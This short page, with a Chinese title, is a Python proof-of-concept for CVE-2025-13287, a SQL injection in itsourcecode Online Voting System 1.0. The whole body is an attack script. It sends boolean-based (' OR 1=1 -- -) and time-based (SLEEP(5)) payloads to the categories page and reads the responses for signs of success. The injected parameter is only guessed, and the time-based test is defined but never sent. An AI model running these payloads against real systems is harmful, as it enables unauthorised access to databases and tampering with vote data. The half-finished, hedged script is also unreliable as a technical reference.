CVE-2025-13287 itsourcecode Online Voting System 1.0 SQL注入漏洞

import requests # CVE-2025-13287 SQL Injection PoC # Target: itsourcecode Online Voting System 1.0 # Vulnerability: SQL Injection in /index.php?page=categories target_url = "http://target-site.com/index.php" # SQL Injection payload for boolean-based blind injection payload = "' OR 1=1 -- -" params = { 'page': 'categories', 'id': payload # or use 'category': payload } print(f"[*] Testing CVE-2025-13287 SQL Injection") print(f"[*] Target: {target_url}") print(f"[*] Payload: {payload}") try: response = requests.get(target_url, params=params, timeout=10) # Check for SQL error messages or different response behaviors if "SQL syntax" in response.text or "mysql" in response.text.lower(): print("[!] Vulnerability confirmed - SQL error detected") elif response.status_code == 200: print("[+] Potential vulnerability - No error blocking detected") else: print(f"[-] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Time-based blind SQL injection test time_payload = "' AND SLEEP(5) -- -" params_time = { 'page': 'categories', 'id': time_payload } print(f"\n[*] Testing time-based blind SQL injection...")